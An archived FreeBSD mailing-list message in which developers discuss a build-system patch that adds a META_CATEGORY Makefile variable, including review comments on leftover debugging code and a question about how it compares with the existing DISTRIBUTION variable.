relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 16 Jul 2014 21:38:14 -0000 On 07/16/14 12:57, Brooks Davis wrote: > On Wed, Jul 16, 2014 at 12:13:48PM -0700, Sean Fagan wrote: >> On Jul 16, 2014, at 10:07 AM, Brooks Davis wrote: >> >>> The vast majorify of the diff is make debugging garbage that looks like >>> it was committed by accident. I won't provided any detailed review >>> of the current patch except to say that there are a lot of apparently >>> redundent instances of setting META_CATEGORY in Makefiles and still >>> quite a lot of instances of .EXPORTVAR: META_CATEGORY. >> Okay. Again, my apologies about that; I've excised it, and removed all >> of the EXPORTVAR directives, even the ones that had been commented out. >> (Note that the patch includes a change to xinstall, that is commented out; that's >> because I think I still like the concept of it, to at least some degree, and didn't >> want to forget where I put it. But it *is* commented out, and so the functionality >> is simply not there.) >> >> Without my idiotic error, the diff is much smaller -- just under 50,000 bytes. However, >> rather than include it again, I've replaced the file at http://earth.kithrup.com/~sef/auto-diffs.txt >> for everyone's perusal. > Some comments with limited context: > > In Makefile.inc1 you write: > > LIB32WMAKEENV+= META_CATEGORY=compat32 > Picking a random example: how is this different/better than the existing DISTRIBUTION variable? -Nathan